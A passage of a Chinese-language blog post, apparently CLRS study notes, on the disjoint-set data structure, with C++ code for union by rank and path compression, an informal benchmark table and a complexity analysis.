class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span> 合并之后，看起来是</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">  2   3</span><br><span class="line"> / \ / \    </span><br><span class="line">4  5 6  7</span><br></pre></td></tr></table></figure><p>变成</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">   2</span><br><span class="line"> / | \</span><br><span class="line">4  5  3</span><br><span class="line">     / \</span><br><span class="line">    6   7</span><br></pre></td></tr></table></figure><h2 id="路径压缩"><a class="markdownIt-Anchor" href="#路径压缩"></a> 路径压缩</h2><p><code>find_set</code> 的过程会访问路径上的所有节点，而最后会找到根节点，显然将路径上的节点都重新连接到根节点可以大幅提高效率。</p><p>可以用递归/循环实现，但无论如何都得存储路径上的节点，或者干脆遍历两次。</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> root = i;</span><br><span class="line"><span class="keyword">while</span> (root != data[root])</span><br><span class="line">&#123;</span><br><span class="line">    root = data[root];</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">while</span> (i != root)</span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">int</span> next_node = data[i];</span><br><span class="line">    data[i] = root;</span><br><span class="line">    i = next_node;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="优化实现"><a class="markdownIt-Anchor" href="#优化实现"></a> 优化实现</h2><p>这是增加路径压缩和按秩合并的优化版本。</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">OptimizedDisjointSet</span></span><br><span class="line">&#123;</span><br><span class="line">    vector&lt;<span class="type">int</span>&gt; data;</span><br><span class="line">    vector&lt;<span class="type">int</span>&gt; rank;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line">    <span class="built_in">OptimizedDisjointSet</span>(<span class="type">int</span> n) : <span class="built_in">data</span>(n, <span class="number">-1</span>), <span class="built_in">rank</span>(n, <span class="number">0</span>) &#123;&#125;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="type">void</span> <span class="title">make_set</span><span class="params">(<span class="type">int</span> i)</span></span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">if</span> (i &gt;= <span class="number">0</span> &amp;&amp; i &lt; data.<span class="built_in">size</span>())</span><br><span class="line">            data[i] = i;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="type">int</span> <span class="title">find_set</span><span class="params">(<span class="type">int</span> i)</span></span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">if</span> (i &lt; <span class="number">0</span> || i &gt;= data.<span class="built_in">size</span>() || data[i] == <span class="number">-1</span>)</span><br><span class="line">            <span class="keyword">throw</span> <span class="string">&quot;Error&quot;</span>;</span><br><span class="line"></span><br><span class="line">        <span class="type">int</span> root = i;</span><br><span class="line">        <span class="keyword">while</span> (root != data[root])</span><br><span class="line">        &#123;</span><br><span class="line">            root = data[root];</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">while</span> (i != root)</span><br><span class="line">        &#123;</span><br><span class="line">            <span class="type">int</span> next_node = data[i];</span><br><span class="line">            data[i] = root;</span><br><span class="line">            i = next_node;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> root;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="type">bool</span> <span class="title">isconnected</span><span class="params">(<span class="type">int</span> a, <span class="type">int</span> b)</span></span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="built_in">find_set</span>(a) == <span class="built_in">find_set</span>(b);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="type">void</span> <span class="title">connect</span><span class="params">(<span class="type">int</span> a, <span class="type">int</span> b)</span></span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="type">int</span> rootA = <span class="built_in">find_set</span>(a);</span><br><span class="line">        <span class="type">int</span> rootB = <span class="built_in">find_set</span>(b);</span><br><span class="line">        <span class="keyword">if</span> (rootA != rootB)</span><br><span class="line">        &#123;</span><br><span class="line">            <span class="keyword">if</span> (rank[rootA] &gt; rank[rootB])</span><br><span class="line">            &#123;</span><br><span class="line">                data[rootB] = rootA;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">else</span> <span class="keyword">if</span> (rank[rootA] &lt; rank[rootB])</span><br><span class="line">            &#123;</span><br><span class="line">                data[rootA] = rootB;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">else</span></span><br><span class="line">            &#123;</span><br><span class="line">                data[rootB] = rootA;</span><br><span class="line">                rank[rootA]++;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>下面是测试结果（测试方式是随机 M Ops，其中 50% 是 connect 操作，剩下 50% 是 isconnected 操作）：</p><table><thead><tr><th style="text-align:left">N Size</th><th style="text-align:left">M Ops</th><th style="text-align:left">Naive (ms)</th><th style="text-align:left">Optimized (ms)</th><th style="text-align:left">Speedup (N/O)</th></tr></thead><tbody><tr><td style="text-align:left">25</td><td style="text-align:left">10</td><td style="text-align:left">0.01</td><td style="text-align:left">0.00</td><td style="text-align:left">3.45x</td></tr><tr><td style="text-align:left">25</td><td style="text-align:left">100</td><td style="text-align:left">0.02</td><td style="text-align:left">0.02</td><td style="text-align:left">1.38x</td></tr><tr><td style="text-align:left">25</td><td style="text-align:left">1000</td><td style="text-align:left">0.35</td><td style="text-align:left">0.35</td><td style="text-align:left">0.98x</td></tr><tr><td style="text-align:left">25</td><td style="text-align:left">100000</td><td style="text-align:left">53.93</td><td style="text-align:left">25.54</td><td style="text-align:left">2.11x</td></tr><tr><td style="text-align:left">25</td><td style="text-align:left">1000000</td><td style="text-align:left">519.01</td><td style="text-align:left">248.01</td><td style="text-align:left">2.09x</td></tr><tr><td style="text-align:left">25</td><td style="text-align:left">10000000</td><td style="text-align:left">3055.43</td><td style="text-align:left">1428.42</td><td style="text-align:left">2.14x</td></tr><tr><td style="text-align:left">50</td><td style="text-align:left">10</td><td style="text-align:left">0.01</td><td style="text-align:left">0.00</td><td style="text-align:left">4.71x</td></tr><tr><td style="text-align:left">50</td><td style="text-align:left">100</td><td style="text-align:left">0.02</td><td style="text-align:left">0.01</td><td style="text-align:left">1.36x</td></tr><tr><td style="text-align:left">50</td><td style="text-align:left">1000</td><td style="text-align:left">0.29</td><td style="text-align:left">0.13</td><td style="text-align:left">2.25x</td></tr><tr><td style="text-align:left">50</td><td style="text-align:left">100000</td><td style="text-align:left">38.97</td><td style="text-align:left">16.91</td><td style="text-align:left">2.30x</td></tr><tr><td style="text-align:left">50</td><td style="text-align:left">1000000</td><td style="text-align:left">298.94</td><td style="text-align:left">130.00</td><td style="text-align:left">2.30x</td></tr><tr><td style="text-align:left">50</td><td style="text-align:left">10000000</td><td style="text-align:left">2924.20</td><td style="text-align:left">1486.23</td><td style="text-align:left">1.97x</td></tr><tr><td style="text-align:left">100</td><td style="text-align:left">10</td><td style="text-align:left">0.01</td><td style="text-align:left">0.00</td><td style="text-align:left">4.62x</td></tr><tr><td style="text-align:left">100</td><td style="text-align:left">100</td><td style="text-align:left">0.02</td><td style="text-align:left">0.01</td><td style="text-align:left">1.22x</td></tr><tr><td style="text-align:left">100</td><td style="text-align:left">1000</td><td style="text-align:left">0.37</td><td style="text-align:left">0.18</td><td style="text-align:left">2.05x</td></tr><tr><td style="text-align:left">100</td><td style="text-align:left">100000</td><td style="text-align:left">42.15</td><td style="text-align:left">16.31</td><td style="text-align:left">2.59x</td></tr><tr><td style="text-align:left">100</td><td style="text-align:left">1000000</td><td style="text-align:left">394.65</td><td style="text-align:left">133.20</td><td style="text-align:left">2.96x</td></tr><tr><td style="text-align:left">100</td><td style="text-align:left">10000000</td><td style="text-align:left">3779.87</td><td style="text-align:left">1387.43</td><td style="text-align:left">2.72x</td></tr><tr><td style="text-align:left">1000</td><td style="text-align:left">10</td><td style="text-align:left">0.01</td><td style="text-align:left">0.00</td><td style="text-align:left">4.64x</td></tr><tr><td style="text-align:left">1000</td><td style="text-align:left">100</td><td style="text-align:left">0.01</td><td style="text-align:left">0.01</td><td style="text-align:left">1.34x</td></tr><tr><td style="text-align:left">1000</td><td style="text-align:left">1000</td><td style="text-align:left">0.11</td><td style="text-align:left">0.12</td><td style="text-align:left">0.86x</td></tr><tr><td style="text-align:left">1000</td><td style="text-align:left">100000</td><td style="text-align:left">257.74</td><td style="text-align:left">13.18</td><td style="text-align:left">19.55x</td></tr><tr><td style="text-align:left">1000</td><td style="text-align:left">1000000</td><td style="text-align:left">2590.73</td><td style="text-align:left">117.09</td><td style="text-align:left">22.13x</td></tr><tr><td style="text-align:left">1000</td><td style="text-align:left">10000000</td><td style="text-align:left">25825.70</td><td style="text-align:left">1550.24</td><td style="text-align:left">16.66x</td></tr><tr><td style="text-align:left">10000</td><td style="text-align:left">10</td><td style="text-align:left">0.01</td><td style="text-align:left">0.00</td><td style="text-align:left">4.11x</td></tr><tr><td style="text-align:left">10000</td><td style="text-align:left">100</td><td style="text-align:left">0.01</td><td style="text-align:left">0.02</td><td style="text-align:left">0.75x</td></tr><tr><td style="text-align:left">10000</td><td style="text-align:left">1000</td><td style="text-align:left">0.10</td><td style="text-align:left">0.17</td><td style="text-align:left">0.56x</td></tr><tr><td style="text-align:left">10000</td><td style="text-align:left">100000</td><td style="text-align:left">2171.18</td><td style="text-align:left">12.39</td><td style="text-align:left">175.19x</td></tr><tr><td style="text-align:left">10000</td><td style="text-align:left">1000000</td><td style="text-align:left">25779.93</td><td style="text-align:left">119.90</td><td style="text-align:left">215.01x</td></tr><tr><td style="text-align:left">10000</td><td style="text-align:left">10000000</td><td style="text-align:left">238020.86</td><td style="text-align:left">1239.94</td><td style="text-align:left">191.96x</td></tr><tr><td style="text-align:left">100000</td><td style="text-align:left">10</td><td style="text-align:left">0.01</td><td style="text-align:left">0.00</td><td style="text-align:left">5.60x</td></tr><tr><td style="text-align:left">100000</td><td style="text-align:left">100</td><td style="text-align:left">0.01</td><td style="text-align:left">0.01</td><td style="text-align:left">1.28x</td></tr><tr><td style="text-align:left">100000</td><td style="text-align:left">1000</td><td style="text-align:left">0.12</td><td style="text-align:left">0.15</td><td style="text-align:left">0.82x</td></tr><tr><td style="text-align:left">100000</td><td style="text-align:left">100000</td><td style="text-align:left">12.27</td><td style="text-align:left">12.29</td><td style="text-align:left">1.00x</td></tr><tr><td style="text-align:left">100000</td><td style="text-align:left">1000000</td><td style="text-align:left">226237.31</td><td style="text-align:left">152.59</td><td style="text-align:left">1482.66x</td></tr><tr><td style="text-align:left">100000</td><td style="text-align:left">10000000</td><td style="text-align:left">N/A</td><td style="text-align:left">N/A</td><td style="text-align:left">N/A</td></tr></tbody></table><blockquote><p>N/A 说明耗时太长，不想跑了…</p></blockquote><p><img src="/images/CLRS/disjoint-set-perf.png" alt="disjoint-set-perf" /></p><p>下面分析三个 OP 的时间复杂度：</p><ul><li><p><code>make_set</code>：<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord">1</span><span class="mclose">)</span></span></span></span><br />毫无疑问，<code>make_set</code> 只需要将对应索引的值设置为自己的值即可，所以是 O(1)</p></li><li><p><code>find_set</code>：<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>l</mi><mi>o</mi><mi>g</mi><mi>N</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(log N)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">o</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span><span class="mclose">)</span></span></span></span>（路径压缩 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>α</mi><mo stretchy="false">(</mo><mi>N</mi><mo stretchy="false">)</mo><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(α(N))</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span><span class="mclose">))</span></span></span></span>）<br />不考虑路径压缩只考虑按秩合并，<code>find_set</code> 最坏情况下，从深度最大的节点开始向上查找，树的高度最多是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>l</mi><mi>o</mi><mi>g</mi><mi>N</mi></mrow><annotation encoding="application/x-tex">log N</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">o</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span></span></span></span>，显然上限是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>l</mi><mi>o</mi><mi>g</mi><mi>N</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(log N)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">o</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span><span class="mclose">)</span></span></span></span>。</p></li><li><p><code>connect</code>：<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>l</mi><mi>o</mi><mi>g</mi><mi>N</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(log N)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">o</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span><span class="mclose">)</span></span></span></span>（路径压缩 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>α</mi><mo stretchy="false">(</mo><mi>N</mi><mo stretchy="false">)</mo><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(α(N))</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span><span class="mclose">))</span></span></span></span>）<br /><code>connect</code> 需要两次 <code>find_set</code>，所以同理也是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>l</mi><mi>o</mi><mi>g</mi><mi>N</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(log N)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">o</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span><span class="mclose">)</span></span></span></span>。</p></li><li><p><code>isconnected</code>：<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>l</mi><mi>o</mi><mi>g</mi><mi>N</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(log N)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">o</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span><span class="mclose">)</span></span></span></span>（路径压缩 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>α</mi><mo stretchy="false">(</mo><mi>N</mi><mo stretchy="false">)</mo><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(α(N))</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span><span class="mclose">))</span></span></span></span>）<br />同理也是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>l</mi><mi>o</mi><mi>g</mi><mi>N</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(log N)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">o</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span><span class="mclose">)</span></span></span></span>。</p></li></ul><p>对比朴素的实现，<code>find_set</code> 的时间复杂度从 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>N</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(N)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span><span class="mclose">)</span></span></span></span> 降到了 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>l</mi><mi>o</mi><mi>g</mi><mi>N</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(log N)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">o</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span><span class="mclose">)</span></span></span></span>。</p><p>不过从测试中可以看出，样本较小时，效果没那么明显，偶尔因为逻辑更多/抖动（没有多次测试…）还有略慢的可能。</p><blockquote><p>该测试仅供参考，我测着玩的。</p></blockquote><p>由于 <s>这里的空白太小</s> 证明太多了没看，不写 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>α</mi><mo stretchy="false">(</mo><mi>N</mi><mo stretchy="false">)</mo><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(α(N))</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span><span class="mclose">))</span></span></span></span> 是哪来得的…只需要知道 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>α</mi><mo stretchy="false">(</mo><mi>N</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">α(N)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span><span class="mclose">)</span></span></span></span> 增长很慢，视为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>α</mi><mo stretchy="false">(</mo><mi>N</mi><mo stretchy="false">)</mo><mo>≤</mo><mn>4</mn></mrow><annotation encoding="application/x-tex">α(N) \le 4</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">4</span></span></span></span> 即可。</p><p>测试代码见 <a href="https://gist.github.com/z0z0r4/a2c24a9cbd06cd97a9e3534a61021713">Disjoint-Set Performance Test</a></p><blockquote><p><s>毫无疑问测试部分和绘图脚本都是 AI 生成的</s></p></blockquote><h2 id="总结"><a class="markdownIt-Anchor" href="#总结"></a> 总结</h2><p>书上讲述的顺序是链表-&gt;森林，我觉得本质上是将链表法本来重 <code>union</code> 轻 <code>find_set</code> 的开销分布，变成了重 <code>find_set</code> 轻 <code>union</code>，而路径压缩又优化了 <code>find_set</code> 的开销，鱼与熊掌兼得了，Crazy。</p><table><thead><tr><th>实现</th><th>启发式策略</th><th><code>Find</code> 单次最坏</th><th><code>union</code> 单次最坏</th><th><code>m</code> 次操作总复杂度</th></tr></thead><tbody><tr><td>树形</td><td>无（朴素）</td><td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(n)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span></td><td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(n)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span></td><td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>m</mi><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(mn)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord mathnormal">mn</span><span class="mclose">)</span></span></span></span></td></tr><tr><td>树形</td><td>按秩/大小合并</td><td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>l</mi><mi>o</mi><mi>g</mi><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(log n)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">o</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span></td><td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>l</mi><mi>o</mi><mi>g</mi><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(log n)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">o</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span></td><td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>m</mi><mi>l</mi><mi>o</mi><mi>g</mi><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(m log n)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord mathnormal">m</span><span class="mord mathnormal" 